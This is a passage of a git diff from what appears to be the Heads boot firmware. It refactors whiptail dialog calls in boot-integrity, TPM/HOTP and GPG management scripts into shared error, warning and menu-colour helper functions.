check?" 0 80); then exit 1 fi diff --git a/initrd/bin/gpg-gui.sh b/initrd/bin/gpg-gui.sh index 5391f66a8..9a3eb8e5e 100755 --- a/initrd/bin/gpg-gui.sh +++ b/initrd/bin/gpg-gui.sh @@ -65,7 +65,7 @@ gpg_flash_rom() { if (whiptail --title 'BIOS Flashed Successfully' \ --yesno "Would you like to update the checksums and sign all of the files in /boot?\n\nYou will need your GPG key to continue and this will modify your disk.\n\nOtherwise the system will reboot immediately." 0 80) then if ! update_checksums ; then - whiptail $BG_COLOR_ERROR --title 'ERROR' \ + whiptail_error --title 'ERROR' \ --msgbox "Failed to update checksums / sign default config" 0 80 fi else @@ -89,7 +89,7 @@ gpg_post_gen_mgmt() { whiptail --title "The GPG Key Copied Successfully" \ --msgbox "${GPG_GEN_KEY}.asc copied successfully." 0 80 else - whiptail $BG_COLOR_ERROR --title 'ERROR: Copy Failed' \ + whiptail_error --title 'ERROR: Copy Failed' \ --msgbox "Unable to copy ${GPG_GEN_KEY}.asc to /media" 0 80 fi umount /media @@ -98,7 +98,7 @@ gpg_post_gen_mgmt() { --yesno "Would you like to add the GPG public key you generated to the BIOS?\n\nThis makes it a trusted key used to sign files in /boot\n\n" 0 80) then /bin/flash.sh -r /tmp/gpg-gui.rom if [ ! -s /tmp/gpg-gui.rom ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: BIOS Read Failed!' \ + whiptail_error --title 'ERROR: BIOS Read Failed!' \ --msgbox "Unable to read BIOS" 0 80 exit 1 fi @@ -124,7 +124,7 @@ gpg_add_key_reflash() { /bin/flash.sh -r /tmp/gpg-gui.rom if [ ! -s /tmp/gpg-gui.rom ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: BIOS Read Failed!' \ + whiptail_error --title 'ERROR: BIOS Read Failed!' \ --msgbox "Unable to read BIOS" 0 80 exit 1 fi @@ -141,7 +141,7 @@ gpg_add_key_reflash() { while true; do unset menu_choice - whiptail $BG_COLOR_MAIN_MENU --title "GPG Management Menu" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "GPG Management Menu" \ --menu 'Select the GPG function to perform' 0 80 10 \ 'r' ' Add GPG key to running BIOS and reflash' \ 'a' ' Add GPG key to standalone BIOS image and flash' \ @@ -181,7 +181,7 @@ while true; do fi cp "$ROM" /tmp/gpg-gui.rom - if (whiptail $BG_COLOR_WARNING --title 'Flash ROM?' \ + if (whiptail_warning --title 'Flash ROM?' \ --yesno "This will replace your old ROM with $ROM\n\nDo you want to proceed?" 0 80) then gpg_flash_rom else @@ -218,7 +218,7 @@ while true; do whiptail --title "The GPG Key Copied Successfully" \ --msgbox "public-key.asc copied successfully." 0 80 else - whiptail $BG_COLOR_ERROR --title 'ERROR: Copy Failed' \ + whiptail_error --title 'ERROR: Copy Failed' \ --msgbox "Unable to copy public-key.asc to /media" 0 80 fi umount /media diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index dfd412f2d..dc9ec20da 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -3,7 +3,7 @@ BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} MAIN_MENU_TITLE="${BOARD_NAME} | $CONFIG_BRAND_NAME Boot Menu" -export BG_COLOR_MAIN_MENU="" +export BG_COLOR_MAIN_MENU="normal" . /etc/functions . /etc/gui_functions @@ -16,6 +16,8 @@ export BG_COLOR_MAIN_MENU="" # # see errors again. skip_to_menu="false" + + mount_boot() { TRACE_FUNC @@ -28,8 +30,8 @@ mount_boot() fi # CONFIG_BOOT_DEV doesn't exist or couldn't be mounted, so give user options - BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR - whiptail $BG_COLOR_ERROR --title "ERROR: No Bootable OS Found!" \ + BG_COLOR_MAIN_MENU="error" + whiptail_error --title "ERROR: No Bootable OS Found!" \ --menu " No bootable OS was found on the default boot device $CONFIG_BOOT_DEV. How would you like to proceed?" 0 80 4 \ 'b' ' Select a new boot device' \ @@ -45,7 +47,7 @@ mount_boot() if [ $? -eq 0 ]; then # update CONFIG_BOOT_DEV . /tmp/config - BG_COLOR_MAIN_MENU="" + BG_COLOR_MAIN_MENU="normal" fi ;; u ) @@ -75,17 +77,17 @@ verify_global_hashes() if verify_checksums /boot ; then return 0 elif [[ ! -f "$TMP_HASH_FILE" || ! -f "$TMP_TREE_FILE" ]] ; then - if (whiptail $BG_COLOR_ERROR --title 'ERROR: Missing File!' \ + if (whiptail_error --title 'ERROR: Missing File!' \ --yesno "One of the files containing integrity information for /boot is missing!\n\nIf you are setting up heads for the first time or upgrading from an\nolder version, select Yes to create the missing files.\n\nOtherwise this could indicate a compromise and you should select No to\nreturn to the main menu.\n\nWould you like to create the missing files now?" 0 80) then if update_checksums ; then - BG_COLOR_MAIN_MENU="" + BG_COLOR_MAIN_MENU="normal" return 0; else - whiptail $BG_COLOR_ERROR --title 'ERROR' \ + whiptail_error --title 'ERROR' \ --msgbox "Failed to update checksums / sign default config" 0 80 fi fi - BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR + BG_COLOR_MAIN_MENU="error" return 1 else CHANGED_FILES=$(grep -v 'OK$' /tmp/hash_output | cut -f1 -d ':' | tee -a /tmp/hash_output_mismatches) @@ -110,7 +112,7 @@ verify_global_hashes() else if [ $CHANGED_FILES_COUNT -gt 10 ]; then # drop to console to show full file list - whiptail $ERROR_BG_COLOR --title 'ERROR: Boot Hash Mismatch' \ + whiptail_error --title 'ERROR: Boot Hash Mismatch' \ --msgbox "${CHANGED_FILES_COUNT} files failed the verification process!\\n\nThis could indicate a compromise!\n\nHit OK to review the list of files.\n\nType \"q\" to exit the list and return." 0 80 echo "Type \"q\" to exit the list and return." >> /tmp/hash_output_mismatches @@ -123,16 +125,16 @@ verify_global_hashes() fi fi - if (whiptail $BG_COLOR_ERROR --title 'ERROR: Boot Hash Mismatch' --yesno "$TEXT" 0 80) then + if (whiptail_error --title 'ERROR: Boot Hash Mismatch' --yesno "$TEXT" 0 80) then if update_checksums ; then - BG_COLOR_MAIN_MENU="" + BG_COLOR_MAIN_MENU="normal" return 0; else - whiptail $BG_COLOR_ERROR --title 'ERROR' \ + whiptail_error --title 'ERROR' \ --msgbox "Failed to update checksums / sign default config" 0 80 fi fi - BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR + BG_COLOR_MAIN_MENU="error" return 1 fi } @@ -140,10 +142,10 @@ verify_global_hashes() prompt_update_checksums() { TRACE_FUNC - if (whiptail $BG_COLOR_WARNING --title 'Update Checksums and sign all files in /boot' \ + if (whiptail_warning --title 'Update Checksums and sign all files in /boot' \ --yesno "You have chosen to update the checksums and sign all of the files in /boot.\n\nThis means that you trust that these files have not been tampered with.\n\nYou will need your GPG key available, and this change will modify your disk.\n\nDo you want to continue?" 0 80) then if ! update_checksums ; then - whiptail $BG_COLOR_ERROR --title 'ERROR' \ + whiptail_error --title 'ERROR' \ --msgbox "Failed to update checksums / sign default config" 0 80 fi fi @@ -200,7 +202,7 @@ update_totp() TOTP=`unseal-totp` done if [ $? -ne 0 ]; then - BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR + BG_COLOR_MAIN_MENU="error" if [ "$skip_to_menu" = "true" ]; then return 1 # Already asked to skip to menu from a prior error fi @@ -210,7 +212,7 @@ update_totp() DEBUG "Show PCRs" DEBUG "$(pcrs)" - whiptail $BG_COLOR_ERROR --title "ERROR: TOTP Generation Failed!" \ + whiptail_error --title "ERROR: TOTP Generation Failed!" \ --menu " ERROR: $CONFIG_BRAND_NAME couldn't generate the TOTP code.\n If you have just completed a Factory Reset, or just reflashed your BIOS, you should generate a new HOTP/TOTP secret.\n @@ -227,9 +229,9 @@ update_totp() option=$(cat /tmp/whiptail) case "$option" in g ) - if (whiptail $BG_COLOR_WARNING --title 'Generate new TOTP/HOTP secret' \ + if (whiptail_warning --title 'Generate new TOTP/HOTP secret' \ --yesno "This will erase your old secret and replace it with a new one!\n\nDo you want to proceed?" 0 80) then - generate_totp_hotp && update_totp && BG_COLOR_MAIN_MENU="" && reseal_tpm_disk_decryption_key + generate_totp_hotp && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key fi ;; i ) @@ -237,7 +239,7 @@ update_totp() return 1 ;; p ) - reset_tpm && update_totp && BG_COLOR_MAIN_MENU="" && reseal_tpm_disk_decryption_key + reset_tpm && update_totp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key ;; x ) recovery "User requested recovery shell" @@ -256,12 +258,12 @@ update_hotp() if [ "$skip_to_menu" = "true" ]; then return 1 # Already asked to skip to menu from a prior error fi - if ! whiptail $BG_COLOR_WARNING \ + if ! whiptail_warning \ --title "WARNING: Please Insert Your $HOTPKEY_BRANDING" \ --yes-button "Retry" --no-button "Skip" \ --yesno "Your $HOTPKEY_BRANDING was not detected.\n\nPlease insert your $HOTPKEY_BRANDING" 0 80 ; then HOTP="Error checking code, Insert $HOTPKEY_BRANDING and retry" - BG_COLOR_MAIN_MENU=$BG_COLOR_WARNING + BG_COLOR_MAIN_MENU="warning" return fi fi @@ -271,15 +273,15 @@ update_hotp() case "$?" in 0 ) HOTP="Success" - BG_COLOR_MAIN_MENU="" + BG_COLOR_MAIN_MENU="normal" ;; 4|7 ) # 4: code was incorrect, 7: code was not a valid HOTP code at all HOTP="Invalid code" - BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR + BG_COLOR_MAIN_MENU="error" ;; * ) HOTP="Error checking code, Insert $HOTPKEY_BRANDING and retry" - BG_COLOR_MAIN_MENU=$BG_COLOR_WARNING + BG_COLOR_MAIN_MENU="warning" ;; esac else @@ -287,7 +289,7 @@ update_hotp() fi if [[ "$CONFIG_TPM" = n && "$HOTP" = "Invalid code" ]]; then - whiptail $BG_COLOR_ERROR --title "ERROR: HOTP Validation Failed!" \ + whiptail_error --title "ERROR: HOTP Validation Failed!" \ --menu "ERROR: $CONFIG_BRAND_NAME couldn't validate the HOTP code.\n\nIf you just reflashed your BIOS, you should generate a new TOTP/HOTP secret.\n\nIf you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n\nHow would you like to proceed?" 0 80 4 \ 'g' ' Generate new TOTP/HOTP secret' \ 'i' ' Ignore error and continue to main menu' \ @@ -297,9 +299,9 @@ update_hotp() option=$(cat /tmp/whiptail) case "$option" in g ) - if (whiptail $BG_COLOR_WARNING --title 'Generate new TOTP/HOTP secret' \ + if (whiptail_warning --title 'Generate new TOTP/HOTP secret' \ --yesno "This will erase your old secret and replace it with a new one!\n\nDo you want to proceed?" 0 80) then - generate_totp_hotp && BG_COLOR_MAIN_MENU="" && reseal_tpm_disk_decryption_key + generate_totp_hotp && BG_COLOR_MAIN_MENU="normal" && reseal_tpm_disk_decryption_key fi ;; i ) @@ -338,7 +340,7 @@ clean_boot_check() # OS is installed, no kexec files present, no GPG keys in keyring, security token present # prompt user to run OEM factory reset oem-factory-reset \ - "Clean Boot Detected - Perform OEM Factory Reset / Re-Ownership?" "$BG_COLOR_WARNING" + "Clean Boot Detected - Perform OEM Factory Reset / Re-Ownership?" } check_gpg_key() @@ -346,11 +348,11 @@ check_gpg_key() TRACE_FUNC GPG_KEY_COUNT=`gpg -k 2>/dev/null | wc -l` if [ $GPG_KEY_COUNT -eq 0 ]; then - BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR + BG_COLOR_MAIN_MENU="error" if [ "$skip_to_menu" = "true" ]; then return 1 # Already asked to skip to menu from a prior error fi - whiptail $BG_COLOR_ERROR --title "ERROR: GPG keyring empty!" \ + whiptail_error --title "ERROR: GPG keyring empty!" \ --menu "ERROR: $CONFIG_BRAND_NAME couldn't find any GPG keys in your keyring.\n\nIf this is the first time the system has booted,\nyou should add a public GPG key to the BIOS now.\n\nIf you just reflashed a new BIOS, you'll need to add at least one\npublic key to the keyring.\n\nIf you have not just reflashed your BIOS, THIS COULD INDICATE TAMPERING!\n\nHow would you like to proceed?" 0 80 4 \ 'g' ' Add a GPG key to the running BIOS' \ 'F' ' OEM Factory Reset / Re-Ownership' \ @@ -361,7 +363,7 @@ check_gpg_key() option=$(cat /tmp/whiptail) case "$option" in g ) - gpg-gui.sh && BG_COLOR_MAIN_MENU="" + gpg-gui.sh && BG_COLOR_MAIN_MENU="normnal" ;; i ) skip_to_menu="true" @@ -392,7 +394,7 @@ show_main_menu() { TRACE_FUNC date=`date "+%Y-%m-%d %H:%M:%S %Z"` - whiptail $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ --menu "$date\nTOTP: $TOTP | HOTP: $HOTP" 0 80 10 \ 'd' ' Default boot' \ 'r' ' Refresh TOTP/HOTP' \ @@ -424,7 +426,7 @@ show_main_menu() show_options_menu() { TRACE_FUNC - whiptail $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Options" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Options" \ --menu "" 0 80 10 \ 'b' ' Boot Options -->' \ 't' ' TPM/TOTP/HOTP Options -->' \ @@ -485,7 +487,7 @@ show_options_menu() show_boot_options_menu() { TRACE_FUNC - whiptail $BG_COLOR_MAIN_MENU --title "Boot Options" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "Boot Options" \ --menu "Select A Boot Option" 0 80 10 \ 'm' ' Show OS boot menu' \ 'u' ' USB boot' \ @@ -513,7 +515,7 @@ show_boot_options_menu() show_tpm_totp_hotp_options_menu() { TRACE_FUNC - whiptail $BG_COLOR_MAIN_MENU --title "TPM/TOTP/HOTP Options" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "TPM/TOTP/HOTP Options" \ --menu "Select An Option" 0 80 10 \ 'g' ' Generate new TOTP/HOTP secret' \ 'r' ' Reset the TPM' \ @@ -540,7 +542,7 @@ show_tpm_totp_hotp_options_menu() prompt_totp_mismatch() { TRACE_FUNC - if (whiptail $BG_COLOR_WARNING --title "TOTP/HOTP code mismatched" \ + if (whiptail_warning --title "TOTP/HOTP code mismatched" \ --yesno "TOTP/HOTP code mismatches could indicate either TPM tampering or clock drift:\n\nTo correct clock drift: 'date -s yyyy-MM-DD hh:mm:ss' in UTC timezone\nand save it to the RTC: 'hwclock -w'\nthen reboot and try again.\n\nWould you like to exit to a recovery console?" 0 80) then echo "" echo "To correct clock drift: 'date -s yyyy-MM-DD hh:mm:ss' in UTC timezone" @@ -558,7 +560,7 @@ reset_tpm() { TRACE_FUNC if [ "$CONFIG_TPM" = "y" ]; then - if (whiptail $BG_COLOR_WARNING --title 'Reset the TPM' \ + if (whiptail_warning --title 'Reset the TPM' \ --yesno "This will clear the TPM and TPM password, replace them with new ones!\n\nDo you want to proceed?" 0 80) then if ! prompt_new_owner_password; then @@ -594,7 +596,7 @@ reset_tpm() echo "Returning to the main menu" fi else - whiptail $BG_COLOR_ERROR --title 'ERROR: No TPM Detected' --msgbox "This device does not have a TPM.\n\nPress OK to return to the Main Menu" 0 80 + whiptail_error --title 'ERROR: No TPM Detected' --msgbox "This device does not have a TPM.\n\nPress OK to return to the Main Menu" 0 80 fi } @@ -619,7 +621,7 @@ attempt_default_boot() if [ -r "$DEFAULT_FILE" ]; then kexec-select-boot -b /boot -c "grub.cfg" -g \ || recovery "Failed default boot" - elif (whiptail $BG_COLOR_WARNING --title 'No Default Boot Option Configured' \ + elif (whiptail_warning --title 'No Default Boot Option Configured' \ --yesno "There is no default boot option configured yet.\nWould you like to load a menu of boot options?\nOtherwise you will return to the main menu." 0 80) then kexec-select-boot -m -b /boot -c "grub.cfg" -g fi @@ -629,11 +631,11 @@ force_unsafe_boot() { TRACE_FUNC if [ "$CONFIG_RESTRICTED_BOOT" = y ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: Restricted Boot Enabled' --msgbox "Restricted Boot is Enabled, forced boot not allowed.\n\nPress OK to return to the Main Menu" 0 80 + whiptail_error --title 'ERROR: Restricted Boot Enabled' --msgbox "Restricted Boot is Enabled, forced boot not allowed.\n\nPress OK to return to the Main Menu" 0 80 return fi # Run the menu selection in "force" mode, bypassing hash checks - if (whiptail $BG_COLOR_WARNING --title 'Unsafe Forced Boot Selected!' \ + if (whiptail_warning --title 'Unsafe Forced Boot Selected!' \ --yesno "WARNING: You have chosen to skip all tamper checks and boot anyway.\n\nThis is an unsafe option!\n\nDo you want to proceed?" 0 80) then mount_boot && kexec-select-boot -m -b /boot -c "grub.cfg" -g -f fi diff --git a/initrd/bin/gui-init-basic b/initrd/bin/gui-init-basic index e5f3b818b..033e561af 100755 --- a/initrd/bin/gui-init-basic +++ b/initrd/bin/gui-init-basic @@ -3,7 +3,7 @@ BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} MAIN_MENU_TITLE="${BOARD_NAME} | $CONFIG_BRAND_NAME Basic Boot Menu" -export BG_COLOR_MAIN_MENU="" +export BG_COLOR_MAIN_MENU="normal" . /etc/functions . /etc/gui_functions @@ -27,8 +27,8 @@ mount_boot() fi # CONFIG_BOOT_DEV doesn't exist or couldn't be mounted, so give user options - BG_COLOR_MAIN_MENU=$BG_COLOR_ERROR - whiptail $BG_COLOR_ERROR --title "ERROR: No Bootable OS Found!" \ + BG_COLOR_MAIN_MENU="error" + whiptail_error --title "ERROR: No Bootable OS Found!" \ --menu " No bootable OS was found on the default boot device $CONFIG_BOOT_DEV. How would you like to proceed?" 0 80 4 \ 'b' ' Select a new boot device' \ @@ -44,7 +44,7 @@ mount_boot() if [ $? -eq 0 ]; then # update CONFIG_BOOT_DEV . /tmp/config - BG_COLOR_MAIN_MENU="" + BG_COLOR_MAIN_MENU="normal" fi ;; u ) @@ -75,7 +75,7 @@ show_main_menu() { TRACE_FUNC date=`date "+%Y-%m-%d %H:%M:%S %Z"` - whiptail $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "$MAIN_MENU_TITLE" \ --menu "$date" 0 80 10 \ 'd' ' Default boot' \ 'o' ' Options -->' \ @@ -103,7 +103,7 @@ show_main_menu() show_options_menu() { TRACE_FUNC - whiptail $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Basic Options" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "$CONFIG_BRAND_NAME Basic Options" \ --menu "" 0 80 10 \ 'b' ' Boot Options -->' \ 'c' ' Change configuration settings -->' \ @@ -134,7 +134,7 @@ show_options_menu() show_boot_options_menu() { TRACE_FUNC - whiptail $BG_COLOR_MAIN_MENU --title "Boot Options" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "Boot Options" \ --menu "Select A Boot Option" 0 80 10 \ 'm' ' Show OS boot menu' \ 'u' ' USB boot' \ @@ -176,7 +176,7 @@ attempt_default_boot() elif [ -r "$DEFAULT_FILE" ]; then kexec-select-boot -b /boot -c "grub.cfg" -g -i -s \ || recovery "Failed default boot" - elif (whiptail $BG_COLOR_WARNING --title 'No Default Boot Option Configured' \ + elif (whiptail_warning --title 'No Default Boot Option Configured' \ --yesno "There is no default boot option configured yet.\nWould you like to load a menu of boot options?\nOtherwise you will return to the main menu." 0 80) then kexec-select-boot -m -b /boot -c "grub.cfg" -g -i fi diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 7a3c536e6..a58972662 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -3,6 +3,7 @@ set -e -o pipefail . /tmp/config . /etc/functions +. /etc/gui_functions TRACE_FUNC @@ -87,7 +88,7 @@ verify_global_hashes() { else if [ "$gui_menu" = "y" ]; then CHANGED_FILES=$(grep -v 'OK$' /tmp/hash_output | cut -f1 -d ':') - whiptail $BG_COLOR_ERROR --title 'ERROR: Boot Hash Mismatch' \ + whiptail_error --title 'ERROR: Boot Hash Mismatch' \ --msgbox "The following files failed the verification process:\n${CHANGED_FILES}\nExiting to a recovery shell" 0 80 fi die "$TMP_HASH_FILE: boot hash mismatch" @@ -103,7 +104,7 @@ verify_global_hashes() { else # root-hashes-gui.sh handles the GUI error menu, just die here if [ "$gui_menu" = "y" ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: Root Hash Mismatch' \ + whiptail_error --title 'ERROR: Root Hash Mismatch' \ --msgbox "The root hash check failed!\nExiting to a recovery shell" 0 80 fi die "root hash mismatch, see /tmp/hash_output_mismatches for details" @@ -178,7 +179,7 @@ confirm_menu_option() { if [ "$gui_menu" = "y" ]; then default_text="Make default" [[ "$CONFIG_TPM_NO_LUKS_DISK_UNLOCK" = "y" ]] && default_text="${default_text} and boot" - whiptail $BG_COLOR_WARNING --title "Confirm boot details" \ + whiptail_warning --title "Confirm boot details" \ --menu "Confirm the boot details for $name:\n\n$(echo $kernel | fold -s -w 80) \n\n" 0 80 8 \ -- 'd' "${default_text}" 'y' "Boot one time" \ 2>/tmp/whiptail || die "Aborting boot attempt" @@ -256,7 +257,7 @@ default_select() { option=$(head -n $default_index $TMP_MENU_FILE | tail -1) if [ "$option" != "$expectedoption" ]; then if [ "$gui_menu" = "y" ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: Boot Entry Has Changed' \ + whiptail_error --title 'ERROR: Boot Entry Has Changed' \ --msgbox "The list of boot entries has changed\n\nPlease set a new default" 0 80 fi warn "Boot entry has changed - please set a new default" @@ -274,7 +275,7 @@ default_select() { else if [ "$gui_menu" = "y" ]; then CHANGED_FILES=$(grep -v 'OK$' /tmp/hash_output | cut -f1 -d ':') - whiptail $BG_COLOR_ERROR --title 'ERROR: Default Boot Hash Mismatch' \ + whiptail_error --title 'ERROR: Default Boot Hash Mismatch' \ --msgbox "The following files failed the verification process:\n${CHANGED_FILES}\nExiting to a recovery shell" 0 80 fi fi diff --git a/initrd/bin/media-scan b/initrd/bin/media-scan index 3f7238038..eebed2752 100755 --- a/initrd/bin/media-scan +++ b/initrd/bin/media-scan @@ -47,7 +47,7 @@ get_menu_option() { MENU_OPTIONS="$MENU_OPTIONS a Abort" - whiptail $BG_COLOR_MAIN_MENU --title "Select your ISO boot option" \ + whiptail_type $BG_COLOR_MAIN_MENU --title "Select your ISO boot option" \ --menu "Choose the ISO boot option [1-$n]:" 0 80 8 \ -- $MENU_OPTIONS \ 2>/tmp/whiptail || die "Aborting boot attempt" diff --git a/initrd/bin/mount-usb b/initrd/bin/mount-usb index e2034e69c..8acad1357 100755 --- a/initrd/bin/mount-usb +++ b/initrd/bin/mount-usb @@ -1,6 +1,7 @@ #!/bin/bash # Mount a USB device . /etc/functions +. /etc/gui_functions . /etc/luks-functions TRACE_FUNC @@ -82,7 +83,7 @@ fi list_usb_storage > /tmp/usb_block_devices if [ -z "$(cat /tmp/usb_block_devices)" ]; then if [ -x /bin/whiptail ]; then - whiptail $BG_COLOR --title 'USB Drive Missing' \ + whiptail_warning --title 'USB Drive Missing' \ --msgbox "Insert your USB drive and press Enter to continue." 0 80 else echo "+++ USB Drive Missing! Insert your USB drive and press Enter to continue." @@ -92,7 +93,7 @@ if [ -z "$(cat /tmp/usb_block_devices)" ]; then list_usb_storage > /tmp/usb_block_devices if [ -z "$(cat /tmp/usb_block_devices)" ]; then if [ -x /bin/whiptail ]; then - whiptail $BG_COLOR_ERROR --title 'ERROR: USB Drive Missing' \ + whiptail_error --title 'ERROR: USB Drive Missing' \ --msgbox "USB Drive Missing! Aborting mount attempt.\n\nPress Enter to continue." 0 80 else echo "!!! ERROR: USB Drive Missing! Aborting mount. Press Enter to continue." @@ -135,7 +136,7 @@ else done < /tmp/usb_disk_list MENU_OPTIONS="$MENU_OPTIONS a Abort" - whiptail $BG_COLOR --title "Select your USB disk" \ + whiptail --title "Select your USB disk" \ --menu "Choose your USB disk [1-$n, a to abort]:" 0 80 8 \ -- $MENU_OPTIONS \ 2>/tmp/whiptail diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 72d69ae88..6ed5a28fb 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -5,6 +5,7 @@ set -o pipefail ## External files sourced . /etc/functions +. /etc/gui_functions . /etc/luks-functions . /tmp/config @@ -66,7 +67,7 @@ whiptail_error() { if [ "$msg" = "" ]; then die "whiptail error: An error msg is required" fi - whiptail $BG_COLOR_ERROR --msgbox "${msg}\n\n" $HEIGHT $WIDTH $BG_COLOR_ERROR --title "Error" + whiptail_error --msgbox "${msg}\n\n" $HEIGHT $WIDTH --title "Error" } whiptail_error_die() { @@ -297,7 +298,7 @@ keytocard_subkeys_to_smartcard() { prompt_insert_to_be_wiped_thumb_drive() { TRACE_FUNC #Whiptail warning about having only desired to be wiped thumb drive inserted - whiptail $BG_COLOR_WARNING --title 'WARNING: Please insert the thumb drive to be wiped' \ + whiptail_warning --title 'WARNING: Please insert the thumb drive to be wiped' \ --msgbox "The thumb drive will be WIPED next.\n\nPlease connect only the thumb drive to be wiped and disconnect others." 0 80 || die "Error displaying warning about having only desired to be wiped thumb drive inserted" } @@ -773,7 +774,7 @@ report_integrity_measurements() { enable_usb for attempt in 1 2 3; do if ! hotp_verification info >/dev/null 2>&1; then - whiptail $CONFIG_WARNING_BG_COLOR --title "WARNING: Please insert your HOTP enabled USB Security Dongle (Attempt $attempt/3)" --msgbox "Your HOTP enabled USB Security Dongle was not detected.\n\nPlease remove it and insert it again." 0 80 + whiptail_warning --title "WARNING: Please insert your HOTP enabled USB Security Dongle (Attempt $attempt/3)" --msgbox "Your HOTP enabled USB Security Dongle was not detected.\n\nPlease remove it and insert it again." 0 80 else break fi @@ -792,11 +793,11 @@ report_integrity_measurements() { ;; 4) HOTP="Invalid code" - MAIN_MENU_BG_COLOR=$CONFIG_ERROR_BG_COLOR + BG_COLOR_MAIN_MENU="error" ;; *) HOTP="Error checking code, Insert USB Security Dongle and retry" - MAIN_MENU_BG_COLOR=$CONFIG_WARNING_BG_COLOR + BG_COLOR_MAIN_MENU="warning" ;; esac else @@ -813,7 +814,7 @@ report_integrity_measurements() { fi #Show results - whiptail $MAIN_MENU_BG_COLOR --title "Measured Integrity Report" --msgbox "$date\nTOTP: $TOTP | HOTP: $HOTP\n/BOOT INTEGRITY: $HASH\n\nPress OK to continue or Ctrl+Alt+Delete to reboot" 0 80 + whiptail_type $BG_COLOR_MAIN_MENU --title "Measured Integrity Report" --msgbox "$date\nTOTP: $TOTP | HOTP: $HOTP\n/BOOT INTEGRITY: $HASH\n\nPress OK to continue or Ctrl+Alt+Delete to reboot" 0 80 fi TRACE_FUNC @@ -855,7 +856,7 @@ if [ "$CONFIG_TPM" = "y" ]; then else TPM_STR="" fi -if ! whiptail --yesno " +if ! whiptail_warning --yesno " This operation will automatically:\n $TPM_STR * ERASE any keys or passwords on the GPG smart card,\n @@ -865,7 +866,7 @@ $TPM_STR * Sign all of the files in /boot with the new GPG key\n\n It requires that you already have an OS installed on a\n dedicated /boot partition. Do you wish to continue?" \ - $HEIGHT $WIDTH $CONTINUE $CANCEL $CLEAR $bg_color --title "$title_text"; then + $HEIGHT $WIDTH $CONTINUE $CANCEL $CLEAR --title "$title_text"; then exit 1 fi diff --git a/initrd/bin/oem-system-info-xx30 b/initrd/bin/oem-system-info-xx30 index 768be2637..39e51985a 100755 --- a/initrd/bin/oem-system-info-xx30 +++ b/initrd/bin/oem-system-info-xx30 @@ -3,9 +3,10 @@ BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} MAIN_MENU_TITLE="${BOARD_NAME} | Extended System Information" -export BG_COLOR_MAIN_MENU="" +export BG_COLOR_MAIN_MENU="normal" . /etc/functions +. /etc/gui_functions . /etc/luks-functions . /tmp/config @@ -54,5 +55,5 @@ TRACE_FUNC FB_OPTIONS="" if whiptail --version |grep "fbwhiptail"; then FB_OPTIONS="--text-size 12"; fi - whiptail $BG_COLOR_MAIN_MENU $FB_OPTIONS --title 'System Info' \ + whiptail_type $BG_COLOR_MAIN_MENU $FB_OPTIONS --title 'System Info' \ --msgbox "${BOARD_NAME}\nFW_VER: ${FW_VER}\nKernel: ${kernel}\nCPU: ${cpustr} RAM: ${memtotal} GB $battery_status\n$(fdisk -l | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')\n\n$(cat /tmp/devices_usb_pci)" 0 80 diff --git a/initrd/bin/root-hashes-gui.sh b/initrd/bin/root-hashes-gui.sh index 38c020f53..cd3c750d2 100755 --- a/initrd/bin/root-hashes-gui.sh +++ b/initrd/bin/root-hashes-gui.sh @@ -14,7 +14,7 @@ export CONFIG_ROOT_DIRLIST_PRETTY=$(echo $CONFIG_ROOT_DIRLIST | sed -e 's/^/\//; update_root_checksums() { if ! detect_root_device; then - whiptail $BG_COLOR_ERROR --title 'ERROR: No Valid Root Disk Found' \ + whiptail_error --title 'ERROR: No Valid Root Disk Found' \ --msgbox "No Valid Root Disk Found" 0 80 die "No Valid Root Disk Found" fi @@ -23,7 +23,7 @@ update_root_checksums() { if ! grep -q /boot /proc/mounts ; then if ! mount -o rw /boot; then unmount_root_device - whiptail $BG_COLOR_ERROR --title 'ERROR: Unable to mount /boot' \ + whiptail_error --title 'ERROR: Unable to mount /boot' \ --msgbox "Unable to mount /boot" 0 80 die "Unable to mount /boot" fi @@ -48,7 +48,7 @@ update_root_checksums() { } check_root_checksums() { if ! detect_root_device; then - whiptail $BG_COLOR_ERROR --title 'ERROR: No Valid Root Disk Found' \ + whiptail_error --title 'ERROR: No Valid Root Disk Found' \ --msgbox "No Valid Root Disk Found" 0 80 die "No Valid Root Disk Found" fi @@ -57,7 +57,7 @@ check_root_checksums() { if ! grep -q /boot /proc/mounts ; then if ! mount -o ro /boot; then unmount_root_device - whiptail $BG_COLOR_ERROR --title 'ERROR: 